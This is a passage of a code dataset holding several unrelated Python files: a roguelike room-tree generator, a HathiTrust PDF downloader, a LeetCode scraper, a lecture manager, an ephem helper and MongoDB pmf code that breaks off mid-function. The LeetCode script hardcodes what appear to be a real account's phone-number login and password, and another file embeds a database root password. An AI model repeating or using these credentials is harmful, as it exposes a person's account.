\"Area\":get_area(RootRoom),\n            \"BrosID\":BrosID}\n        RoomFrameData[\"TerminateRooms\"][str(ID)] = {\n            \"ID\":ID,\n            \"Room\":RootRoom,\n            \"Wall\":tuple([random.randint(2, round(min(RootRoom[1][0]-RootRoom[0][0],RootRoom[1][1]-RootRoom[0][1])*0.15)) for i in range(4)])}\n        return ID\n    else:\n        ChildRooms, Partition = divide_room(\n                RootRoom,\n                define_divide_line(\n                    RootRoom,\n                    determine_long_side(\n                        RootRoom)))\n        RightChildID = gen_room_hierarchy(\n                ChildRooms[1],\n                RoomFrameData,\n                RoomSize,\n                Tier)\n        LeftChildID = gen_room_hierarchy(\n                ChildRooms[0],\n                RoomFrameData,\n                RoomSize,\n                Tier,\n                RightChildID)\n    ID = len(RoomFrameData[\"BinaryRoomTree\"])\n    RoomFrameData[\"BinaryRoomTree\"][str(ID)] = {\n        \"ID\":ID,\n        \"Tier\":Tier,\n        \"Room\":RootRoom,\n        \"Area\":get_area(RootRoom),\n        \"ChildID\":{LeftChildID, RightChildID},\n        \"BrosID\":BrosID}\n    RoomFrameData[\"Partitions\"].append({\n        \"ID\":ID,\n        \"Start\":Partition[0],\n        \"End\":Partition[1]})\n    return ID\n\ndef to_level_form(CorridorStraight):\n    Start = CorridorStraight[\"Start\"]\n    End = CorridorStraight[\"End\"]\n    if Start[0] == End[0]:\n        Level = 'X',Start[0]\n        Range = Start[1],End[1]\n    elif Start[1] == End[1]:\n        Level = 'Y',Start[1]\n        Range = Start[0],End[0]\n\n    return Level, Range\n\ndef neighbor_room(Level, Range, Room):\n    OnLevel = False\n    OutOfRange = True\n    for Point in Room[\"Room\"]:\n        if Level[0] == 'X':\n            Cross = Point[0]\n            Straight = Point[1]\n        elif Level[0] == 'Y':\n            Cross = Point[1]\n            Straight = Point[0]\n\n        if Cross == Level[1]:\n            OnLevel = True\n        if Range[0] <= Straight <= Range[1]:\n            OutOfRange = False\n\n    return OnLevel and not OutOfRange\n\ndef associate_neighbor_room(CorridorStraight, TerminateRooms):\n    Level, Range = to_level_form(CorridorStraight)\n    return {\n        \"ID\":CorridorStraight[\"ID\"],\n        \"RoomList\":list(\n            filter(\n                lambda Room:neighbor_room(\n                    Level,\n                    Range,\n                    Room),\n                TerminateRooms.values()\n            )\n        )\n    }\n\ndef vaild_child(BinaryRoomTree, Parents):\n    return list(map(\n        lambda ChildID:BinaryRoomTree[str(ChildID)]\n        ,reduce(lambda x,y:x.union(y),map(\n            lambda ID:BinaryRoomTree[str(ID)]['ChildID'],\n            Parents\n        ))\n    ))\n\ndef associate_neighbor_room_brt(CorridorStraight, BinaryRoomTree):\n    Level, Range = to_level_form(CorridorStraight)\n    VaildParents = {CorridorStraight['ID']}\n    NeighborRoom = set()\n    while len(VaildParents) != 0:\n        VaildChildren = vaild_child(\n            BinaryRoomTree,\n            VaildParents)\n        Neighbors = set(map(\n            lambda Neighbor:Neighbor['ID'],\n            filter(\n                lambda Room:neighbor_room(\n                    Level,\n                    Range,\n                    Room),\n                VaildChildren\n            )\n        ))\n        Parents = set(map(\n            lambda Parent:Parent['ID'],\n            filter(\n                lambda Adult:'ChildID' in Adult,\n                VaildChildren\n            )\n        ))\n        VaildParents = Neighbors & Parents\n        VaildTerminates = Neighbors - VaildParents\n\n        NeighborRoom = NeighborRoom.union(VaildTerminates)\n    return {'ID':CorridorStraight['ID'],\n            'Rooms':NeighborRoom}\n\ndef right_side(Level, Room):\n    return Room[0][0] == Level or Room[0][1] == Level\n\ndef align_rooms(CorridorStraight, Rooms):\n    Level, Range = to_level_form(Corridor)\n\ndef generate_path(RoomsOnStraight,Straights,BRT):\n    return RoomsOnStraight\n\nRoomFrameData = {\n    'BinaryRoomTree':{},\n    'TerminateRooms':{},\n    'Partitions':[]\n}\ngen_room_hierarchy(RootRoom, RoomFrameData)\n\nCorridor = {\n    'Straights':{},\n    'RoomsOnStraights':[],\n    'Paths':[]\n}\n\nCorridor['Straights'] = RoomFrameData[\"Partitions\"]\n\n\nCorridor['RoomsOnStraights'] = list(map(\n    lambda x:associate_neighbor_room_brt(\n        x,\n        BinaryRoomTree=RoomFrameData[\n            \"BinaryRoomTree\"]),\n    Corridor['Straights']\n))\n\nCorridor['Paths'] = list(map(\n    lambda x:generate_path(\n        x,\n        Straights = Corridor['Straights'],\n        BRT = RoomFrameData['BinaryRoomTree']),\n    Corridor['RoomsOnStraights']\n))\n\n\npprint.pprint(\n    RoomFrameData[\"BinaryRoomTree\"],\n    width=50)\n\npprint.pprint(\n    RoomFrameData[\"TerminateRooms\"],\n    width=50)\nprint(len(RoomFrameData[\"TerminateRooms\"]))\npprint.pprint(\n    RoomFrameData[\"Partitions\"],\n    width=50)\n\npprint.pprint(Corridor['RoomsOnStraights'],width=50)\n\nprint(neighbor_room(('Y', 80), (0, 110), {\"ID\":11, \"Room\":((0, 0), (60, 80))}))\n","repo_name":"say-ya-sigma/roguelike","sub_path":"binary_room_tree.py","file_name":"binary_room_tree.py","file_ext":"py","file_size_in_byte":6970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"28150025149","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport re\r\nimport os\r\nfrom pathlib import Path\r\nfrom PyPDF2 import PdfFileMerger\r\nimport progressbar\r\n\r\n\r\ndef PDFDownload(output_line):\r\n    PDF_download = requests.get(output_line, stream=True, timeout=300)\r\n    with open(path_folder + 'page' + str(actual_page) + '.pdf', 'wb') as f:\r\n        f.write(PDF_download.content)\r\n\r\n\r\n# Get hathitrust book link\r\nlink = \"https://babel.hathitrust.org/cgi/pt?id=txu.059173023561817\"\r\nid_book = re.findall('id=(\\w*\\.\\d*)|$', link)[0]\r\nr = requests.get(link)\r\nsoup = BeautifulSoup(r.text, \"html.parser\")\r\n\r\n# Number of the book pages and name\r\npages_book = int(soup.find(\"section\", {'class': 'd--reader--viewer'})['data-total-seq'])\r\nname_book = soup.find('meta', {'property': 'og:title'})['content']\r\n\r\n# Limit book title\r\nif len(name_book) > 55:\r\n    name_book = name_book[:40]\r\n\r\n# Remove invalid characters\r\nremove_character = \"[],/\\\\:.;\\\"'?!*\"\r\nname_book = name_book.translate(\r\n            str.maketrans(remove_character, len(remove_character)*\" \")).strip()\r\n\r\n# Create a new folder\r\nlocal = os.getcwd()\r\nPath(local + \"/\" + name_book).mkdir(parents=True, exist_ok=True)\r\npath_folder = local + \"/\" + name_book + \"/\"\r\n\r\n# Download pdf file\r\nbegin_page = 1\r\nlast_page = pages_book + 1\r\n\r\n# ProgressBar\r\nbar = progressbar.ProgressBar(maxval=last_page,\r\n                              widgets=[progressbar.Bar('=', '[', ']'), ' ',\r\n                                       progressbar.Percentage()])\r\nbar.start()\r\n\r\nfor actual_page in range(begin_page, last_page):\r\n    output_line = f'https://babel.hathitrust.org/cgi/imgsrv/download/pdf?id={id_book};orient=0;size=100;seq={actual_page};attachment=0'\r\n    PDFDownload(output_line)\r\n\r\n    while os.path.getsize(path_folder + 'page' + str(actual_page) + '.pdf') < 6000:\r\n        PDFDownload(output_line)\r\n\r\n    bar.update(actual_page + 1)\r\n\r\n\r\n# Merge all pdf files\r\nordered_files = sorted(os.listdir(path_folder),\r\n                       key=lambda x: (int(re.sub('\\D', '', x)), x))\r\n\r\npdf_list = [path_folder + a for a in ordered_files if a.endswith(\".pdf\")]\r\nmerger = PdfFileMerger()\r\n\r\nfor pdf in pdf_list:\r\n    merger.append(open(pdf, 'rb'))\r\n\r\nwith open(path_folder + name_book + \"_output.pdf\", \"wb\") as fout:\r\n    merger.write(fout)\r\n    merger.close()\r\n\r\nbar.finish()\r\n","repo_name":"luiseduardobr1/hathitrustPDF","sub_path":"hathitrustPDF.py","file_name":"hathitrustPDF.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"37"}
+{"seq_id":"75036633708","text":"import json\nimport time\nimport datetime\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, String,Integer,create_engine\n\nengine = create_engine('mysql+pymysql://root:1111@localhost:3306/sh',pool_size=10)\n\nBase = declarative_base()\n\n\ndef get_datas():\n    session2 = MySession()\n    query = session2.query(Dailydata).first()\n    session2.close()\n    if query:\n        all =query.goodNum+query.badNum\n        return all,query.goodNum,query.badNum\n    else:\n        return 0,0,0\n\n\nclass Dailydata(Base):\n    __tablename__ = 'daily_data'\n\n    id = Column(Integer(), primary_key=True,autoincrement=True)\n    goodNum = Column(Integer)\n    badNum = Column(Integer)\n    created_time = Column(String(20))\n\n\nBase.metadata.create_all(engine)\n\nMySession = sessionmaker(bind=engine)\nsession = MySession()\nt = time.strftime(\"%Y-%m-%d\",time.localtime())\ntry:\n    res = session.query(Dailydata).first()\n    if not res:\n        session.add(Dailydata(goodNum=0, badNum=0,created_time =t))\n        session.commit()\n    else:\n        if res.created_time ==t:\n            pass\n        else:\n            session.query(Dailydata).update({Dailydata.badNum:0,Dailydata.goodNum:0,Dailydata.created_time:t},synchronize_session=False)   \n            session.commit()\n    session.close()     \nexcept:\n    pass\n\n","repo_name":"cxw951109/SH","sub_path":"config/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23011358339","text":"import sys\nsys.path.append('./')\nimport json\nfrom torch.utils.data import Dataset\nfrom configs.config import Config\nfrom tqdm import tqdm\nimport copy     \nimport jsonlines\nfrom itertools import chain\nfrom dataset.event import Event\n\nclass ChFinAnn():\n    def __init__(self, config:Config, dataset_type: str) -> None:\n        super().__init__()\n        self.config = config\n        self.list_datas = self.load_dataset(dataset_type)\n\n    def get_path(self,dataset_type:str):\n        if dataset_type == 'train':\n            path = self.config.train_path\n        elif dataset_type == 'dev':\n            path = self.config.dev_path\n        elif dataset_type == 'test':\n            path = self.config.test_path\n        else:\n            raise Exception(\"dataset key error\")\n        return path\n\n    def load_json(self, path):\n        with open(path, 'r', encoding='utf-8') as in_:\n            data = json.load(in_)\n        return data\n\n    def load_jsonlines(self, path):\n        lines = []\n        with jsonlines.open(path) as reader:\n            for obj in reader:\n                lines.append(obj)\n        return lines\n    \n    def load_dataset(self,dataset_type)->list:\n        '''\n        return:\n        [\n            Event: {\n                doc_id,\n                sent_id: None,\n                sent, # 经过window切分后的文本\n                event_type,\n                tirgger: {\n                    start,\n                    end,\n                    text,\n                    offeset\n                },\n                arguments: [\n                    {\n                        start,\n                        end,\n                        text,\n                        role\n                    }\n                ],\n                full_text, # 源文本\n                first_word_locs: None\n            }\n        ]\n        '''\n        path = self.get_path(dataset_type)\n        list_dataset = self.load_json(path)\n        '''\n        [\n            Event: {\n                id,\n                {\n                    sentences,\n                    ann_valid_mspans: [entity, entity, ...],\n                    ann_valid_dranges: [\n                        [\n                            sentence_id,\n                            start_idx,\n                            end_idx\n                        ],\n                        ...\n                    ],\n                    ann_mspan2dranges: {\n                        entity: [\n                            [\n                                sentence_id,\n                                start_idx,\n                                end_idx\n                            ],\n                            ...\n                        ]\n                    },\n                    ann_mspan2guess_field: {\n                        argument: role\n                    },\n                    recguid_eventname_eventdict_list: [\n                        [\n                            id,\n                            event_type,\n                            {\n                                role: argument\n                            }\n                        ],\n                        ...\n                    ]\n                    \n                }\n            }\n        ]\n        '''\n\n        def get_sentence_index(sentence, sentence_index, word_index):\n            if sentence_index == 0: return word_index\n            return sum([len(sentence[i]) for i in range(sentence_index)]) + word_index\n\n        list_datas = []\n        for doc_idx, line in enumerate(list_dataset):\n            id = line[0]\n            text = list(\"\".join(line[1]['sentences']))\n            sentence = line[1]['sentences']\n\n            entity_to_index = line[1]['ann_mspan2dranges']\n            \n            for i, event in enumerate(line[1]['recguid_eventname_eventdict_list']):\n                event_type = event[1]\n                # 去寻找包含在触发词位置间的论元信息\n                event_arguments = []\n                for role in event[2].keys():\n                    if not event[2][role]:\n                        continue\n                    argument_entity = entity_to_index[event[2][role]][0]\n                    \n                    event_argument = {\n                        'start': get_sentence_index(sentence, argument_entity[0], argument_entity[1]),\n                        'end': get_sentence_index(sentence, argument_entity[0], argument_entity[2]),\n                        'text': event[2][role],\n                        'role': role\n                    }\n                    event_arguments.append(event_argument)\n                list_datas.append(Event(doc_idx, id, text, event_type, None, event_arguments, sentence, None, event_type_id=self.config.event_to_idx[event_type]))\n        self.config.logger.info(\"{} examples collected.\".format(len(list_datas)))\n        return list_datas\n\nfrom configs.chinese.config import ChineseConfig\nif __name__ == \"__main__\":\n    config = ChineseConfig()\n    config.loadFromFile('./configs/chinese/config_chFinAnn.json')\n    config.initLogger()\n    ChFinAnn(config,'train')","repo_name":"kive66/EAE","sub_path":"dataset/chFinAnn.py","file_name":"chFinAnn.py","file_ext":"py","file_size_in_byte":5063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"38590089998","text":"import ephem\nimport datetime\n\nfrom appLogging.ApplicationLogger import ApplicationLogger\nfrom common import Utility\n\n\nclass AstralDecorator(object):\n\n    # region Constructor\n\n    def __init__(self):\n        self._location = self._initializeLocation()\n\n    # region Public Methods\n\n    def getNextSunriseAndSunset(self):\n        if self._location is None:\n            return None, None\n\n        sun = ephem.Sun()\n        riseTimeEphem = self._location.next_rising(sun)\n        setTimeEphem = self._location.next_setting(sun)\n        return self._convertEphemTimeToLocalTime(riseTimeEphem), self._convertEphemTimeToLocalTime(setTimeEphem)\n\n    def getNextMoonrise(self):\n        if self._location is None:\n            return None\n\n        moon = ephem.Moon()\n        riseTimeEphem = self._location.next_rising(moon)\n        return self._convertEphemTimeToLocalTime(riseTimeEphem)\n\n    def getNextFullMoon(self):\n        dateNowString = datetime.datetime.utcnow().strftime(\"%Y/%m/%d %H:%M\")\n        fullMoonEphem = ephem.next_full_moon(dateNowString)\n        return self._convertEphemTimeToLocalTime(fullMoonEphem)\n\n    def getNextEquinox(self):\n        dateNowString = datetime.datetime.utcnow().strftime(\"%Y/%m/%d %H:%M\")\n        equinioxEphem = ephem.next_equinox(dateNowString)\n        return self._convertEphemTimeToLocalTime(equinioxEphem)\n\n    def getNextSolstice(self):\n        dateNowString = datetime.datetime.utcnow().strftime(\"%Y/%m/%d %H:%M\")\n        solsticeEphem = ephem.next_equinox(dateNowString)\n        return self._convertEphemTimeToLocalTime(solsticeEphem)\n\n    # region Helper Methods\n\n    def _initializeLocation(self):\n        try:\n            location = ephem.Observer()\n            lat, lng = Utility.getHomeLocation()\n            location.lat = lat\n            location.lon = lng\n            return location\n        except Exception as ex:\n            ApplicationLogger().addError(\"failed to fetch astral location\")\n            return None\n\n    def _convertEphemTimeToLocalTime(self, ephemTime):\n        ephemTimeTuple = ephemTime.tuple()\n        if not ephemTimeTuple or len(ephemTimeTuple) < 6:\n            return None\n\n        year, month, day, hour, minute = ephemTimeTuple[0], ephemTimeTuple[1], ephemTimeTuple[2], ephemTimeTuple[3], ephemTimeTuple[4]\n        constructedDate = datetime.datetime(year, month, day, hour, minute, second=0)\n        constructedString = constructedDate.strftime(\"%Y/%m/%d %H:%M\")\n        ephemDate = ephem.Date(constructedString)\n        return ephem.localtime(ephemDate)","repo_name":"kumaruday691/KARNA","sub_path":"common/AstralDecorator.py","file_name":"AstralDecorator.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"33760654898","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @Time    : 2020/7/21 8:32\n @Author  : QDY\n @FileName: get_leetcode.py\n @Software: PyCharm\n\"\"\"\nimport requests, json, re\nfrom requests_toolbelt import MultipartEncoder\n\nsession = requests.Session()\nuser_agent = r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36'\n\n\ndef login(username, password):\n    url = 'https://leetcode-cn.com'\n    # cookies = session.get(url).cookies\n    # for cookie in cookies:\n    #     if cookie.name == 'csrftoken':\n    #         csrftoken = cookie.value\n\n    url = \"https://leetcode-cn.com/accounts/login\"\n\n    params_data = {\n        'csrfmiddlewaretoken': '1IPQp1B4bXRCoMRRIIT6SzyWCRTsE5zPjnwe3s5R1TZxEANsDfCweHHLGbSgfbMV',\n        'login': '18028305371',\n        'password': 'QDYleetcode23',\n        'next': 'problems'\n    }\n    headers = {'User-Agent': user_agent, 'Connection': 'keep-alive', 'Referer': 'https://leetcode-cn.com/accounts/login/',\n               \"origin\": \"https://leetcode-cn.com\"}\n    m = MultipartEncoder(params_data)\n\n    headers['Content-Type'] = m.content_type\n    session.post(url, headers=headers, data=m, timeout=10, allow_redirects=False)\n    is_login = session.cookies.get('LEETCODE_SESSION') != None\n    return is_login\n\n\ndef get_problems():\n    url = \"https://leetcode-cn.com/api/problems/all/\"\n\n    headers = {'User-Agent': user_agent, 'Connection': 'keep-alive'}\n    resp = session.get(url, headers=headers, timeout=10)\n\n    question_list = json.loads(resp.content.decode('utf-8'))\n\n    for question in question_list['stat_status_pairs']:\n        # 题目编号\n        question_id = question['stat']['question_id']\n        # 题目名称\n        question_slug = question['stat']['question__title_slug']\n        # 题目状态\n        question_status = question['status']\n\n        # 题目难度级别，1 为简单，2 为中等，3 为困难\n        level = question['difficulty']['level']\n\n        # 是否为付费题目\n        if question['paid_only']:\n            continue\n        print(question_slug)\n\n\ndef get_problem_by_slug(slug):\n    url = \"https://leetcode-cn.com/graphql\"\n    params = {'operationName': \"getQuestionDetail\",\n              'variables': {'titleSlug': slug},\n              'query': '''query getQuestionDetail($titleSlug: String!) {\n            question(titleSlug: $titleSlug) {\n                questionId\n                questionFrontendId\n                questionTitle\n                questionTitleSlug\n                content\n                difficulty\n                stats\n                similarQuestions\n                categoryTitle\n                topicTags {\n                        name\n                        slug\n                }\n            }\n        }'''\n              }\n\n    json_data = json.dumps(params).encode('utf8')\n\n    headers = {'User-Agent': user_agent, 'Connection':\n        'keep-alive', 'Content-Type': 'application/json',\n               'Referer': 'https://leetcode-cn.com/problems/' + slug}\n    resp = session.post(url, data=json_data, headers=headers, timeout=10)\n    content = resp.json()\n\n    # 题目详细信息\n    question = content['data']['question']\n    print(question)\n\n\ndef get_submissions(slug):\n    url = \"https://leetcode-cn.com/graphql\"\n    params = {'operationName': \"Submissions\",\n              'variables': {\"offset\": 0, \"limit\": 20, \"lastKey\": '', \"questionSlug\": slug},\n              'query': '''query Submissions($offset: Int!, $limit: Int!, $lastKey: String, $questionSlug: String!) {\n                submissionList(offset: $offset, limit: $limit, lastKey: $lastKey, questionSlug: $questionSlug) {\n                lastKey\n                hasNext\n                submissions {\n                    id\n                    statusDisplay\n                    lang\n                    runtime\n                    timestamp\n                    url\n                    isPending\n                    __typename\n                }\n                __typename\n            }\n        }'''\n              }\n\n    json_data = json.dumps(params).encode('utf8')\n\n    headers = {'User-Agent': user_agent, 'Connection': 'keep-alive', 'Referer': 'https://leetcode-cn.com/accounts/login/',\n               \"Content-Type\": \"application/json\"}\n    resp = session.post(url, data=json_data, headers=headers, timeout=10)\n    content = resp.json()\n    for submission in content['data']['submissionList']['submissions']:\n        print(submission)\n\n\ndef get_submission_by_id(submission_id):\n    url = \"https://leetcode-cn.com/submissions/detail/\" + submission_id\n    headers = {'User-Agent': user_agent, 'Connection': 'keep-alive', \"Content-Type\": \"application/json\"}\n    code_content = session.get(url, headers=headers, timeout=10)\n\n    pattern = re.compile(r'submissionCode: \\'(?P<code>.*)\\',\\n  editCodeUrl', re.S)\n    m1 = pattern.search(code_content.text)\n    code = m1.groupdict()['code'] if m1 else None\n    print(code)\n\n\nif __name__ == '__main__':\n    print(login('u', 'p'))\n    # get_problems()\n    # get_problem_by_slug('two-sum')\n    get_submissions('two-sum')\n    get_submission_by_id('')\n","repo_name":"QDylan/Learning-","sub_path":"Leetcode/get_leetcode.py","file_name":"get_leetcode.py","file_ext":"py","file_size_in_byte":5099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"31595740209","text":"from utils import *\nfrom constants import *\n\n\ndef manage_lectures(lectures={}, subjects=[]):\n    '''강의 관리\n\n    Args:\n        lectures: 강의 dict\n        subjects: 교과목 array\n    '''\n    global _subjects\n    global _lectures\n    _subjects = subjects\n    _lectures = lectures\n\n    value = 0\n    while value != 5:\n        print_menu()\n        value = input_number('> ', '1 ~ 5 사이의 수를 입력해주세요.')\n        if value == 1:\n            print_lectures()\n        elif value == 2:\n            code, new_lecture = input_lecture()\n            _lectures[code] = new_lecture\n        elif value == 3:\n            code, updated_lecture = update_lecture()\n            _lectures[code] = updated_lecture\n        elif value == 4:\n            delete_lecture()\n        elif value == 5:\n            break\n        else:\n            print('1 ~ 5 사이의 수를 입력해주세요.')\n\n\ndef print_menu():\n    '''강의 메뉴 출력\n    '''\n    print()\n    print('**********************************************************************')\n    print('1. 강의 목록 출력')\n    print('2. 강의 등록')\n    print('3. 강의 수정')\n    print('4. 강의 삭제')\n    print('5. 나가기')\n    print('**********************************************************************')\n\n\ndef print_lectures():\n    '''강의 목록 출력\n\n    전체 강의 목록을 출력.\n    '''\n    print()\n    if not len(_lectures) > 0:\n        print('등록된 강의가 없습니다.')\n        return\n\n    print(\n        ljust_consider_kor('No.', 5),\n        ljust_consider_kor(LECTURE_CODE, 15),\n        ljust_consider_kor('교과목 코드', 15),\n        ljust_consider_kor(YEAR, 15),\n        ljust_consider_kor(SEMESTER, 15),\n        ljust_consider_kor(TEACHER, 15)\n    )\n    print('-' * 150)\n\n    for index, code in enumerate(_lectures.keys()):\n        print(\n            ljust_consider_kor(str(index + 1), 5),\n            ljust_consider_kor(code[0:15], 15),\n            ljust_consider_kor(_lectures[code][SUBJECT_CODE][0:15], 15),\n            ljust_consider_kor(_lectures[code][YEAR], 15),\n            ljust_consider_kor(_lectures[code][SEMESTER], 15),\n            ljust_consider_kor(_lectures[code][TEACHER][0:15], 15)\n        )\n\n\ndef input_lecture():\n    '''강의 입력\n\n    강의코드, 학년도, 학기, 교원명을 입력 받음.\n\n    Returns:\n        강의코드, {교과목코드, 학년도, 학기, 교원명}\n    '''\n    print()\n    code, subject_code = input_code()\n    year = str(input_range(ljust_consider_kor(YEAR, 15) + '> ',\n                           2000, 3000, '올바른 년도를 입력해주세요.'))\n    semester = str(input_range(ljust_consider_kor(SEMESTER, 15) + '> ',\n                               1, 2, '올바른 학기를 입력해주세요.'))\n    teacher = input(ljust_consider_kor(TEACHER, 15) + '> ')\n\n    return code, {\n        SUBJECT_CODE: subject_code,\n        YEAR: year,\n        SEMESTER: semester,\n        TEACHER: teacher\n    }\n\n\ndef input_code():\n    '''강의 코드 입력\n\n    '교과목코드-분반'의 형태로 입력.\n    교과목코드가 _subjects에 존재하지 않으면 재입력.\n\n    Returns:\n        강의 코드\n    '''\n    while True:\n        code = input(ljust_consider_kor(\n            '강의 코드(MME2051-01)', 15) + '> ')\n        if '-' not in code:\n            print('올바른 형태로 입력해주세요. (MME2051-01)')\n            continue\n        subject_code, _ = code.split('-')\n\n        for subject in _subjects:\n            if subject[SUBJECT_CODE] == subject_code:\n                return code, subject_code\n\n        print('해당하는 교과목이 없습니다.')\n\n\ndef update_lecture():\n    '''강의 수정\n\n    Returns:\n        수정된 강의\n        강의코드, {교과목코드, 학년도, 학기, 교원명}\n    '''\n    print()\n    if not len(_lectures) > 0:\n        print('등록된 강의가 없습니다.')\n        return\n    code = select_lecture()\n    del _lectures[code]\n    return input_lecture()\n\n\ndef delete_lecture():\n    '''강의 삭제\n    '''\n    print()\n    if not len(_lectures) > 0:\n        print('등록된 강의가 없습니다.')\n        return\n    code = select_lecture()\n    del _lectures[code]\n\n\ndef select_lecture():\n    '''강의 선택\n\n    강의 수정, 삭제 시 대상 강의를 선택.\n    강의 목록 출력 후 index를 통해 선택.\n\n    Returns:\n        선택된 강의 코드\n    '''\n    if not len(_lectures) > 0:\n        print('등록된 강의가 없습니다.')\n        return\n    print_lectures()\n    print()\n\n    index = input_range('No. > ', 1, len(_lectures), '범위 내의 값을 입력해주세요.') - 1\n    selected_code = list(_lectures.keys())[index]\n    print_lecture(selected_code)\n\n    return selected_code\n\n\ndef print_lecture(code):\n    '''강의 출력\n\n    강의 선택 시 선택된 강의 하나의 정보를 출력\n    '''\n    print()\n    print(ljust_consider_kor(LECTURE_CODE, 15), ':', code)\n    print(ljust_consider_kor('교과목 코드', 15), ':', _lectures[code][SUBJECT_CODE])\n    print(ljust_consider_kor(YEAR, 15), ':', _lectures[code][YEAR])\n    print(ljust_consider_kor(SEMESTER, 15), ':', _lectures[code][SEMESTER])\n    print(ljust_consider_kor(TEACHER, 15), ':', _lectures[code][TEACHER])\n","repo_name":"hwookim/timetable_console","sub_path":"manage_lectures.py","file_name":"manage_lectures.py","file_ext":"py","file_size_in_byte":5262,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31240133057","text":"import requests\nfrom background_task import background\nfrom background_task.models import Task\n\nfrom client.settings import SERVER_PORT\nfrom client_app.helper import get_setting, save_setting\n\n_seconds_between_checks = 5\n\n\n@background(schedule=_seconds_between_checks)\ndef ping_server():\n    server = get_setting('server')\n    token = get_setting('token')\n    if server and token:\n        response = requests.get(f'http://{server}:{SERVER_PORT}/ping', headers={'Authorization': f'TOKEN {token}'})\n        if response.status_code == 200:\n            save_setting('is_online', '1')\n    else:\n        save_setting('is_online', '0')\n\n\ndef start_ping():\n    Task.objects.filter(verbose_name='ping').delete()\n    ping_server(repeat=_seconds_between_checks, verbose_name='ping')\n","repo_name":"Vollmind/otus-project-client","sub_path":"client_app/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70515178028","text":"#!/usr/bin/python3\nimport logging\nimport re\nimport numpy as np\nimport json\nimport functools, itertools\nfrom io import BytesIO\nimport binascii\nimport sys\nfrom multiprocessing import Pool\nfrom annoy import AnnoyIndex\nimport scipy\nfrom tqdm import tqdm\n\nimport context\nfrom classes.config import Config\nfrom classes.database import Database\nfrom classes.symbol import Symbol\nimport classes.counter\nimport classes.utils\nimport crf.crfs\n\nglobal dim\nglobal name_to_index\nglobal index_to_name\n\nglobal train_query\nglobal test_query\nglobal P\n\ndef numpy_to_bytes( npobj ):\n    with BytesIO() as b:\n        np.save(b, npobj)\n        return b.getvalue()\n\ndef bytes_to_numpy( npbytes ):\n    return np.load(BytesIO( npbytes ))\n\ndef load_pmf(db, feature, value):\n    feature_name = feature.replace(\".\", \"_\")\n    res = db.client[feature_name + '_pmfs'].find_one({ feature_name : value })\n    return bytes_to_numpy( res['pmf'] )\n\ndef pmf_from_features(features, values):\n    db = Database()\n    map(lambda feature, value: logger.debug(\"{}: {}\".format(feature, value)), zip(features, values))\n    matches = {}\n    for i in range(len(features)):\n        matches.update({ features[i] : values[i] })\n\n    match = { '$match' : matches }\n    groupby = { '$group' : { '_id' : '$name' } }\n    res = db.run_mongo_aggregate( train_query + [ match, groupby ] )\n\n    counter = classes.counter.dCounter()\n\n    #pmf = np.zeros( (dim, 1), dtype=np.float)\n    #matched = []\n    for r in res:\n        name = r['_id']\n        counter += name\n        #matched.append( name )\n\n    pmf = counter.to_npvec_prob((dim, 1), name_to_index)\n    pmf = P.normalise_numpy_density(pmf)\n    \"\"\"\n    prob = 0.0\n    if len(matched) > 0:\n        prob = 1.0 / float(len(matched))\n    for name in matched:\n        pmf[ name_to_index[name] ] = prob\n    \"\"\"\n\n    features_name = \"_\".join(features)\n    features_name = features_name.replace(\".\", \"_\")\n\n    values_name = \"\"\n    for y in values:\n        assert(isinstance(y, list))\n        values_name += classes.utils.list_to_string( y )\n\n    #values_val = functools.reduce(lambda x, y: str(x) + \"\".join(y), values, \"\" )\n    values_name = values_name[:-1]\n    print(values_name)\n    db.client[features_name + '_pmfs'].insert( { features_name : values_name, 'pmf' : numpy_to_bytes( pmf ) } )\n    logger.info(\"{} :: Inserted pmf for {}::{}\".format( sys._getframe().f_code.co_name, features_name, values_name ))\n\ndef pmfs_from_feature(feature, values):\n    db = classes.database.Database()\n    for val in values:\n        if feature in [ \"callees\", \"callers\" ]:\n            pmf_from_feature_len(db, feature, val)\n        else:\n            pmf_from_feature(db, feature, val)\n\n\n \ndef pmf_from_feature_len(db, feature, value):\n    logger.debug(\"{}: {}\".format(feature, value))\n    match = { '$match' : { feature : { '$size' : value } } }\n    groupby = { '$group' : { '_id' : '$name' } }\n\n    res = db.run_mongo_aggregate( train_query + [ match, groupby ] )\n\n    matched = []\n    for r in res:\n        name = r['_id']\n        matched.append(name)\n\n    prob = 0.0\n    assert(len(matched) > 0)\n    if len(matched) > 0:\n        prob = 1.0 / float(len(matched))\n\n    pmf = np.zeros( (dim, 1), dtype=np.float)\n    for name in matched:\n        pmf[ name_to_index[name] ] = prob\n\n    pmf = P.normalise_numpy_density(pmf)\n\n    feature_name = feature.replace(\".\", \"_\")\n    db.client[feature_name + '_pmfs'].insert( { feature_name : value, 'pmf' : numpy_to_bytes( pmf ) } )\n    logger.info(\"{} :: Inserted pmf for {}::{}\".format( sys._getframe().f_code.co_name, feature, value ))\n\n       \n\ndef pmf_from_feature(db, feature, value):\n    logger.debug(\"{}: {}\".format(feature, value))\n    match = { '$match' : { feature : value } }\n    groupby = { '$group' : { '_id' : '$name' } }\n\n    res = db.run_mongo_aggregate( train_query + [ match, groupby ] )\n\n    matched = []\n    counter = classes.counter.dCounter()\n    for r in res:\n        name = r['_id']\n        counter += name\n        #matched.append(name)\n\n    